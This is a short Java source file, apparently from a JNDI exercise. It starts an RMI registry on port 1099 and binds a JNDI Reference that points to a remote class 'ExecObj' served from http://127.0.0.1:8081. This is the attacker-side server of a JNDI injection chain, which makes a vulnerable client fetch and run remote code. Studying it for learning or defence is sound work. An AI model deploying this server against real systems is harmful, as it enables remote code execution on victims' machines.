package com.luke.exercise.jndi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import javax.naming.Reference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class Server {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refer = new Reference("ExecObj", "ExecObj", "http://127.0.0.1:8081");
        ReferenceWrapper refW = new ReferenceWrapper(refer);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("refW", refW);
        
    }
}
